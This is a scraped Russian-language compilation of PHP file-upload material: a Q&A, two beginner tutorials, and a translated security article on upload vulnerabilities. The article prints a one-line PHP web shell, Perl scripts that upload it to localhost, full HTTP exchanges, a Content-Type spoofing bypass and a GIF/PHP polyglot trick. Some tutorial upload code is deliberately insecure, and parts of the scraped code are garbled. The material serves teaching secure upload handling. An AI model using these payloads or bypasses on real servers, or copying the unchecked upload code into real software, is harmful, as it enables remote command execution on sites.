Загрузка картинки на сервер
Нигде не могу найти примера загрузки картинки на сервер не из формы, а из POST запроса. Помогите переделать этот пример с php.net:
'; if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) < echo "Файл корректен и был успешно загружен.\n"; >else < echo "Возможная атака с помощью файловой загрузки!\n"; >echo 'Некоторая отладочная информация:'; print_r($_FILES); print "
"; ?>
Отслеживать
задан 7 сен 2016 в 19:02
Никола Кривошея Никола Кривошея
1,497 4 4 золотых знака 34 34 серебряных знака 72 72 бронзовых знака
1 ответ 1
Сортировка: Сброс на вариант по умолчанию
Форма это набор именованных данных, POST/GET/PUT/DELETE/REQUEST — методы передачи данных. Передача в основном идет через тело запроса (ваш POST), или параметры запроса (GET — через него файл не получиться передать). Форма лишь помогает Вам удобно загрузить файл через POST метод на сервер. Вам требуется обязательно почитать про передачу параметров извне
Приведенный пример загрузки файла корректный. Передача файла из формы/запроса будет осуществляться методом POST. В данном примере есть свои проблемы, например нет функции is_uploaded_file, которая проверяет что файл загружен или нет проверки, что загружается именно картинка, в коде ниже реализовал данную проверку.
//Проверка что это картинка if (!getimagesize($_FILES["userfile"]["tmp_name"])) < echo "Это не картинка. "; die(); //or throw exception. >if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) < echo "Файл корректен и был успешно загружен.\n"; >else < echo "Возможная атака с помощью файловой загрузки!\n"; >?>
Чтобы передать данные скрипту нужно создать форму на HTML с enctype=»multipart/form-data»
Select image to upload:
Если вы хотите отправлять данные без браузера, можете воспользоваться CURL. Запуск POST запроса из командной строки для передачи файла выглядит вот так:
curl -i -X POST -H "Content-Type: multipart/form-data" -F "[email protected]" http://myserver/upload
PHP и загрузка файлов
Загрузка документов и файлов на сайт для рядового пользователя – весьма распространенная задача. С ней сталкивался чуть ли не каждый. Реализуется через специальную форму. Подобные операции преследуют юзера повсеместно: в социальных сетях, на видео-хостингах, а также в виде файлообменников. Но для разработчика подобные манипуляции выглядят несколько иначе.
Данная статья расскажет о том, как на PHP загрузить файлы на сервер. Именно такой подход чаще всего реализован на веб-ресурсах.
Элементарное решение
PHP скрипт для заливания файла на сервер создать способен каждый. Справиться с поставленной задачей удается несколькими способами. Форма может быть «простой» или «сложной».
Первый вариант предусматривает создание такого «окна»:
Basic File Upload Basic File Upload
Это – HTML, в котором находится поле file input. Для того, чтобы файл можно было загрузить на сервер через PHP, потребуется выполнить такие действия:
- Создать форму «заливания». Код можно скопировать выше.
- Разместить полученный HTML в basic.php.
- Добавить строчку в тег «enctype=”multipart/form-data».
- Создать скрипт формы загрузки. Речь идет о PHP Script. Для этого потребуется $_FILES. Начать с формы, которая будет проверять, загрузил ли юзер документ.

- Создать полный скрипт для заливания документации на сервер, используя PHP move uploaded file.

Теперь скрипт должен работать. Не рекомендуется использовать его на собственном сервере. Исключение – если он тоже «тестовый». Это – лишь наглядный пример того, как через PHP и его функции можно скачивать документы и заливать их на серверы.
В чем заключается проблема
Представленные выше кодификации – это лишь шаблоны, на которые можно опираться при изучении принципов загрузки файлов через скрипты. Они не отвечают установленным принципам безопасности, поэтому подходят только в виде примеров.
Предложенные ранее коды помогают загружать файл любого типа на server. Это значит, что каждый хакер сможет при желании запустить собственные PHP-скрипты, чтобы позже осуществить взлом сайта. Это определенные риски. Поэтому необходимо защищать собственные servers после создания формы «заливания» документации.
О глобальной переменной
$_FILES – элемент, который успешно используется для поставленной изначально задачи. Разобравшись с ним, можно успешно проверить факт загрузки файла на сервер сайта.
$_FILES – глобальная переменная PHP, которая напоминает $_POST и $_GET. Это – ассоциативный массив, в котором располагается информация о загруженном документе. Для этого применяется method HTTP POST.
Если в процессе выполнить print_r($_FILES), в ходе обработки ранее предложенного шаблона будет выведена следующая информация:
Array ( [inputfile] => Array ( [name] => upload-file-php.jpg [type] => image/jpeg [tmp_name] => /Applications/XAMPP/xamppfiles/temp/phpcQiYhh [error] => 0 [size] => 6887 ) )
Для каждого input_type=”file” name=’inputfile’ в массиве будет создаваться элемент. При создании , имя компонента будет скорректировано на «тест» на английском. Вот пример кода:

А для того, чтобы полноценно применять input file, система создаст для перемещаемых через move uploaded file PHP несколько элементов. Их стоит рассмотреть поближе.
Элементы для input files
Когда на сервер загружаются файлы, для них создаются несколько файлов:
Каждый предусматривает собственные особенности, о которых должен знать разработчик. Рекомендуется запомнить следующие сведения:
- Name отвечает за название загруженного юзером файла. Включает в себя также формат документации.
- Type – тип загруженного файла или mime-type. При загрузке текста получается значение text/plain, картинки – image/jpeg или /png. Каждый тип файла имеет собственный mime-тип.
- Tmp_name – место временного хранения загруженного документа. Пусть подлежит возможности корректировки. Делается это путем изменения в переменной upload_tmp_dir. Обнаружить ее можно в файле php. Ini.
- Error. Отвечает за информацию об ошибке. Указывает на ее тип. Отображает сбои, возникающие при попытке загрузки документации. Пример – размер файла превышает максимально допустимый. Каждая error имеет собственный код – числовое значение и константу.
В случае с size все просто – это размер документа, который нужно залить на сервер PHP. Параметр указывается в байтах.
А что там про ошибки
Проверка на errors – важный момент всей операции. Если в процессе заливания файла на server возникли неполадки, документ может вовсе не появиться на сайте. Вот несколько самых распространенных «сбоев», которые могут быть выведены на экран:
- Upload_err_form_size (значение 2) – размер документа превышает установленное в переменной формы max_file_size значение.
- Ini_size (значение 1) – размер больше, чем предусматривает переменная upload_max_filesize в php.imi.
- Err_ok (значение 0) – успешная загрузка файла. Ошибок в процессе не обнаружено.
- _partial (значение 3) – неполная загрузка файла.
- No_file (значение 4) – документ для скачивания на сервер отсутствует.
- No_tmp_dir (значение 6) – указанной директории для временного хранения файла не обнаружено.
- Cant_write (значение 7) – записать файл на диск невозможно.
Этого новичкам будет достаточно в плане изучения ошибок. Но для полноценного заливания документации на server предстоит выучить одну полезную функцию.
Функция перемещения – кратко о главном
Move_uploaded_file – это функция, которая отвечает за перемещение загруженного файла из временной директории в ту или иную папку. Перед этим PHP будет проверять, был ли загружен документ в HTTP-методе post.
If файл перемещен без ошибок, на экране можно будет увидеть true или false. Предложенный ранее пример имел следующую строку:
![]()
Ее можно представить более красиво:
if(move_uploaded_file($_FILES['inputfile']['tmp_name'], $destiation_dir )) < echo "File Uploaded" >else
Как и ранее, данный вариант выступает лишь наглядным шаблоном.
Корректировка лимитов размеров
Размер загружаемого файла – параметр, который можно менять. Без него обойтись проблематично. Он обязателен для того, чтобы форма загрузки файла в PHP работала корректно и ограничивала юзеров. Иначе можно столкнуться с быстрой перегрузкой сервера – посетители будут заливать весьма увесистые документы.
Ограничения могут быть выставлены несколькими способами:
- В файле php.ini хранится переменная uload_max_filesize. Она отвечает за предельный размер заливаемых документов. Через знак равенства в соответствующем файле требуется указать интересующую характеристику.
- Ограничение устанавливается за счет помещения скрытого элемента ввода под названием upload_err_ini_size в форму загрузки. Пример – прописать .
- Если загружаемый файл больше, пользователь увидит «значение «2» в переменной $_FILES. Стоит обратить внимание на то, что upload_max_filesize не должен быть больше переменной post_max_size в php.ini.
Для того, чтобы откорректировать filesize в большую сторону на значимое значение, нужно просто изменить время исполнения php-скрипта.
Вопрос безопасности
Ранее было сказано о том, что предложенный пример кода на PHP не соответствует параметрам безопасности. Защищать загрузчик нужно каждому разработчику.
Далее для работы используем jpeg-документы размером более 1 МБ. Скачать их на сервер не получится, если выставить соответствующие ограничения. Они прописываются в переменной upload_max_filesize документа php.ini.

Выше представленный код form action предусматривает упомянутое ранее ограничение. За счет него получится настраивать принципы работы загрузчика.
Мультизагрузка
PHP-скрипты позволяют осуществлять мультизагрузку. Ее можно реализовать несколькими способами:
- Через имя файла input. Соответствующие «названия» должны быть разными.
- Привлекая массив. В этой ситуации input могут иметь одни и те же имена.
Все зависит от личных предпочтений разработчика. Первый вариант позволяет загружать несколько документов через элементы ввода. Если создается то или иное количество элементов input, в $_FILES создаются определенные «ключевые» компоненты. Вот наглядный пример:
![]()
$_FILES будет выглядеть массивом:

А вот PHP move uploaded file, при помощи которого файл загрузится на сервер. Здесь нужно учитывать, что один элемент предназначается для авы (картинка), другой – для резюме (файл в формате .doc).

А теперь стоит рассмотреть второй вариант – с одним полем input, но с массивами. Для uploaded file PHP можно задействовать массив с input type, прописанным в php:
![]()
Для ранее рассмотренного HTML $_Files будет обладать такую структуру:

Готов к работе или требует доработки
Коды, рассмотренные в примере – это шаблоны. Они готовы к работе, хоть и примитивны. Для нормального функционирования оные требуют расширения:
- удаления символов и пробелов из названия;
- занесения информации в БД для дальнейшей обработки;
- проверки размера файлов;
- сжатия изображений и картинок.
Теперь понятно, что собой представляет php _files tmp_name и как создавать формы для загрузки документации на серверы. А чтобы такие слова как server, value и submit не вызывали лишних вопросов, рекомендуется пройти курсы по PHP и серверной работы. Дистанционные занятия с выдачей сертификата в конце обучения – лучший способ быстро освоиться в любой сфере разработки программного обеспечения.
Безопасная загрузка изображений на сервер. Часть первая
В данной статье демонстрируются основные уязвимости веб-приложений по загрузке файлов на сервер и способы их избежать. В статье приведены самые азы, в врят-ли она будет интересна профессионалам. Но тем неменее — это должен знать каждый PHP-разработчик.
Различные веб-приложения позволяют пользователям загружать файлы. Форумы позволяют пользователям загружать «аватары». Фотогалереи позволяют загружать фотографии. Социальные сети предоставляют возможности по загрузке изображений, видео, и т.д. Блоги позволяют загружать опять же аватарки и/или изображения.
Часто загрузка файлов без обеспечения надлежащего контроля безопасности приводит к образованию уязвимостей, которые, как показывает практика, стали настоящей проблемой в веб-приложениях на PHP.
Проводимые тесты показали, что многие веб-приложения имеют множество проблем с безопасностью. Эти «дыры» предоставляют злоумышленникам обширные возможности совершать несанкционированные действия, начиная с просмотра любого файла на сервере и закачивания выполнением произвольного кода. Эта статья рассказывает об основных «дырах» безопасности и способах их избежать.
Код примеров, приведенных в этой статье, могут быть загружены по адресу:
www.scanit.be/uploads/php-file-upload-examples.zip.
Если Вы хотите их использовать, пожалуйста удостоверьтесь, что сервер, который Вы используете, не доступен из Интернета или любых других публичных сетей. Примеры демонстрируют различные уязвимости, выполнение которых на доступном извне сервере может привести к опасным последствиям.
Обычная загрузка файла
Загрузка файлов, обычно состоит из двух независимых функций – принятие файлов от пользователя и показа файлов пользователю. Обе части могут быть источником уязвимостей. Давайте рассмотрим следующий код (upload1.php):
$uploaddir = ‘uploads/’ ; // Relative path under webroot
$uploadfile = $uploaddir . basename($_FILES[ ‘userfile’ ][ ‘name’ ]);
if (move_uploaded_file($_FILES[ ‘userfile’ ][ ‘tmp_name’ ], $uploadfile)) echo «File is valid, and was successfully uploaded.\n» ;
> else echo «File uploading failed.\n» ;
>
?>
* This source code was highlighted with Source Code Highlighter .
Обычно пользователи будут загружать файлы, используя подобную форму:
* This source code was highlighted with Source Code Highlighter .
Злоумышленник данную форму использовать не будет. Он может написать небольшой Perl-скрипт (возможно на любом языке – прим. преводчика), который будет эмулировать действия пользователя по загрузке файлов, дабы изменить отправляемые данные на свое усмотрение.
В данном случае загрузка содержит большую дыру безопасности: upload1.php позволяет пользователям загружать произвольные файлы в корень сайта. Злоумышленник может загрузить PHP-файл, который позволяет выполнять произвольные команды оболочки на сервере с привилегией процесса веб-сервера. Такой скрипт называется PHP-Shell. Вот самый простой пример подобного скрипта:
Если этот скрипт находится на сервере, то можно выполнить любую команду через запрос:
server/shell.php?command=any_Unix_shell_command
Более продвинутые PHP-shell могут быть найдены в Интернете. Они могут загружать произвольные файлы, выполнять запросы SQL, и т.д.
Исходник Perl, показанный ниже, загружает PHP-Shell на сервер, используя upload1.php:
#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new ;
$res = $ua->request(POST ‘http://localhost/upload1.php’ ,
Content_Type => ‘form-data’ ,
Content => [userfile => [ «shell.php» , «shell.php» ],],);
print $res->as_string();
* This source code was highlighted with Source Code Highlighter .
Этот скрипт использует libwwwperl, который является удобной библиотекой Perl, эмулирующей HTTP-клиента.
И вот что случится при выполнении этого скрипта:
POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY
—xYzZY
Content-Disposition: form-data; name=»userfile»; filename=»shell.php»
Content-Type: text/plain
system($_GET[‘command’]);
?>
—xYzZY—
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.
После того, как мы загрузили shell-скрипт, можно спокойно выполнить команду:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)
cURL – command-line клиент HTTP, доступный на Unix и Windows. Это очень полезный инструмент для того, чтобы проверить веб-приложения. cURL может быть загружен от curl.haxx.se
Проверка Content-Type
Приведенный выше пример редко когда имеет место. В большинстве случаев программисты используют простые проверки, чтобы пользователи загружали файлы строго определенного типа. Например, используя заголовок Content-Type:
Пример 2 (upload2.php):
if ($_FILES[ ‘userfile’ ][ ‘type’ ] != «image/gif» ) echo «Sorry, we only allow uploading GIF images» ;
exit;
>
$uploaddir = ‘uploads/’ ;
$uploadfile = $uploaddir . basename($_FILES[ ‘userfile’ ][ ‘name’ ]);
if (move_uploaded_file($_FILES[ ‘userfile’ ][ ‘tmp_name’ ], $uploadfile)) echo «File is valid, and was successfully uploaded.\n» ;
> else echo «File uploading failed.\n» ;
>
?>
* This source code was highlighted with Source Code Highlighter .
В этом случае, если злоумышленник только попытается загрузить shell.php, наш код будет проверять MIME-тип загружаемого файла в запросе и отсеивать ненужное.
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
—xYzZY
Content-Disposition: form-data; name=»userfile»; filename=»shell.php»
Content-Type: text/plain
system($_GET[‘command’]);
?>
—xYzZY—
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images
Пока неплохо. К сожалению, есть способ обойти эту защиту, потому что проверяемый MIME-тип приходит вместе с запросом. В запросе выше он установлен как «text/plain» (его устанавливает браузер – прим. переводчика). Ничего не мешает злоумышленнику установить его в «image/gif», поскольку с помощью эмуляции клиента он полностью управляет запросом, который посылает (upload2.pl):
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new ;;
$res = $ua->request(POST ‘http://localhost/upload2.php’ ,
Content_Type => ‘form-data’ ,
Content => [userfile => [ «shell.php» , «shell.php» , «Content-Type» => «image/gif» ],],);
* This source code was highlighted with Source Code Highlighter .
И вот что получится.
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
—xYzZY
Content-Disposition: form-data; name=»userfile»; filename=»shell.php»
Content-Type: image/gif
system($_GET[‘command’]);
?>
—xYzZY—
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.
В итоге, наш upload2.pl подделывает заголовок Content-Type, заставляя сервер принять файл.
Проверка содержания файла изображения
Вместо того, чтобы доверять заголовку Content-Type, разработчик PHP мог бы проверять фактическое содержание загруженного файла, чтобы удостовериться, что это действительно изображение. Функция PHP getimagesize() часто используется для этого. Она берет имя файла как аргумент и возвращает массив размеров и типа изображения. Рассмотрим пример upload3.php ниже.
$uploaddir = ‘uploads/’ ;
$uploadfile = $uploaddir . basename($_FILES[ ‘userfile’ ][ ‘name’ ]);
if (move_uploaded_file($_FILES[ ‘userfile’ ][ ‘tmp_name’ ], $uploadfile)) echo «File is valid, and was successfully uploaded.\n» ;
> else echo «File uploading failed.\n» ;
>
?>
* This source code was highlighted with Source Code Highlighter .
Теперь, если нападавший попытается загрузить shell.php, даже если он установит заголовок Content-Type в «image/gif», то upload3.php все равно выдаст ошибку.
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
—xYzZY
Content-Disposition: form-data; name=»userfile»; filename=»shell.php»
Content-Type: image/gif
system($_GET[‘command’]);
?>
—xYzZY—
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images
Можно подумать, что теперь мы можем пребывать в уверенности, что будут загружаться только файлы GIF или JPEG. К сожалению, это не так. Файл может быть действительно в формате GIF или JPEG, и в то же время PHP-скриптом. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных. Когда getimagesize() смотрит на файл, он воспримет это как корректный GIF или JPEG. Когда транслятор PHP смотрит на файл, он видит выполнимый код PHP в некотором двоичном «мусоре», который будет игнорирован. Типовой файл, названный crocus.gif содержится в примере (см. начало статьи). Подобное изображение может быть создано в любом графическом редакторе.
Итак, создадим perl-скрипт для загрузки нашей картинки:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new ;;
$res = $ua->request(POST ‘http://localhost/upload3.php’ ,
Content_Type => ‘form-data’ ,
Content => [userfile => [ «crocus.gif» , «crocus.php» , «Content-Type» => «image/gif» ], ],);
* This source code was highlighted with Source Code Highlighter .
Этот код берет файл crocus.gif и загружает это с названием crocus.php. Выполнение приведет к следующему:
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
—xYzZY
Content-Disposition: form-data; name=»userfile»; filename=»crocus.php»
Content-Type: image/gif
GIF89a(. some binary data. )(. skipping the rest of binary data . )
—xYzZY—
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.
Теперь нападавший может выполнить uploads/crocus.php и получить следущее:

Как видно, транслятор PHP игнорирует двоичные данные в начале изображения и выполняет последовательность «» в комментарии GIF.
Проверка расширения загружаемого файла
Читатель этой статьи мог бы задаться вопросом, почему мы просто не проверяем расширение загруженного файла? Если мы не позволим загружать файлы *.php, то сервер никогда не сможет выполнить этот файл как скрипт. Давайте рассмотрим и этот подход.
Мы можем сделать черный список расширений файла и проверить имя загружаемого файла, игнорируя загрузку файла с выполняемыми расширениями (upload4.php):
$blacklist = array( «.php» , «.phtml» , «.php3» , «.php4» );
foreach ($blacklist as $item) if (preg_match( «/$item\$/i» , $_FILES[ ‘userfile’ ][ ‘name’ ])) echo «We do not allow uploading PHP files\n» ;
exit;
>
>
$uploaddir = ‘uploads/’ ;
$uploadfile = $uploaddir . basename($_FILES[ ‘userfile’ ][ ‘name’ ]);
if (move_uploaded_file($_FILES[ ‘userfile’ ][ ‘tmp_name’ ], $uploadfile)) echo «File is valid, and was successfully uploaded.\n» ;
> else echo «File uploading failed.\n» ;
>
?>
* This source code was highlighted with Source Code Highlighter .
Выражение preg_match («/$item\$/i», $_FILES[‘userfile’][‘name’]) соответствует имени файла, определенному пользователем в массиве черного списка. Модификатор «i» говорит, что наше выражение регистронезависимое. Если расширение файла соответствует одному из пунктов в черном списке, файл загружен не будет.
Если мы пытаемся загрузить файл c расширением .php, это приведет к ошибке:
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
—xYzZY
Content-Disposition: form-data; name=»userfile»; filename=»crocus.php»
Content-Type: image/gif
GIF89(. skipping binary data. )
—xYzZY—
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
We do not allow uploading PHP files
Если мы загружаем файл с расширением .gif, то оно будет загружено:
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
—xYzZY
Content-Disposition: form-data; name=»userfile»; filename=»crocus.gif»
Content-Type: image/gif
GIF89(. skipping binary data. )
—xYzZY—
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.
Теперь, если мы запросим загруженный файл, то он не будет выполнен сервером:

Комментарии переводчика:
В случае загрузки картинок самым лучшим способом являются не указанные действия, а сохранение файла с расширением, которое получается в результате выполнения функции getimagesize(). В большинстве случаев именно так и происходит. Стоит добавить, что желательно сделать приведение файла к конкретному формату, например jpeg. При приведении метаданные картинки (насколько мне известно) потеряются, обеспечив практически гарантируемую безопастность.
Наличие в загрузке файлов с расширением типа .php нужно проверять вообще в начале работы сайта, и если они есть сразу же их отбрасывать.
PHP. Загрузка изображений на сервер
Итак, мы продолжаем обсуждать тему загрузки файлов на сервер. Если вы ещё не читали статью «Что необходимо учитывать при загрузке файлов на сервер», то рекомендую начать именно с неё.
В вышеуказанной статье мы обсудили общие нюансы загрузки файлов на сервер. А теперь пришло время программировать! В данном примере мы реализуем:
- Корректную загрузку картинки на сервер.
- Проверку, выбран файл или нет.
- Проверку на размер файла.
- Грамотную проверку расширения файла.
Предупреждаю сразу, рассматриваемый код будет без архитектурных изысков, поскольку он должен быть максимально понятным для начинающих.
Для начала определим, какие файлы и папки будут в нашем проекте:
- index.php – обработчик отправки формы
- functions.php – библиотека с двумя функциями
- img – папка, в которую будут загружаться изображения
Посмотрим на содержимое индекса.
Загрузка изображений на сервер Файл успешно загружен!"; > else< // выводим сообщение об ошибке echo "$check"; > > ?>
Кода много, но, пожалуйста, не пугайтесь! Большая часть знакома вам из предыдущей статьи.
Главное — просто понять схему работы данного скрипта. У нас есть две функции:
- can_upload – производит все проверки: возвращает true либо строку с сообщением об ошибке
- make_upload – производит загрузку файла на сервер
Соответственно, если форма была отправлена, мы сначала вызываем функцию can_upload. Если она подтвердила, что файл подходит нам по всем параметрам, то мы вызываем функцию make_upload. Иначе просто распечатываем сообщение об ошибке.
Здесь всё достаточно коротко и логично. Схема стандартная. Поэтому нас больше интересует, а что именно делают эти загадочные функции can_upload и make_upload!
Загрузка изображений — фукнции.
Рассмотрим файл functions.php
function make_upload($file) < // формируем уникальное имя картинки: случайное число и name $name = mt_rand(0, 10000) . $file['name']; copy($file['tmp_name'], 'img/' . $name); >
Сначала всего пару слов про функцию make_upload, поскольку она проще. Обратите внимание на то, что мы перед именем файла вставляем mt_rand(0, 10000), т.е, случайное число от 0 до 10000. Делается это для того, чтобы у файла было уникальное имя. В противном случае, при загрузке двух картинок с одинаковыми именами, вторая заменит первую.
Кстати, если вы задались резонным вопросом, а где же закрывающий тег php в данном файле, значит, вы явно не читали статью «Ошибка headers already sent»!
Необходимые проверки
Основной же интерес для нас представляет функция can_upload.
($file[‘name’] == ») — мелочь, знакомая вам по предыдущей статье.
А вот ($file[‘size’] == 0) — это забавно! Особенно с учётом того, что мы говорим при этом, что файл слишком большой! Разгадка кроется в том, что если файл был больше, чем разрешено в настройках сервера, то он не будет загружен вообще. А если файл не загружен, то вполне логично, что его размер равен нулю.
Ну и наконец, проверка расширения. Здесь мы используем так называемую технику белого листа. Таким листом у нас является массив $types, в котором мы перечисляем все допустимые расширения. Если расширение загружаемого файла не найдено в массиве, значит нам загружают что-то не то.
Вот собственно говоря и всё! Скрипт надёжный, аккуратный и лаконичный.
А в следующей статье мы поговорим о том, как можно наложить на загружаемую картинку водяной знак. Рекомендую прочесть!
Понравился материал? Поделись с друзьями!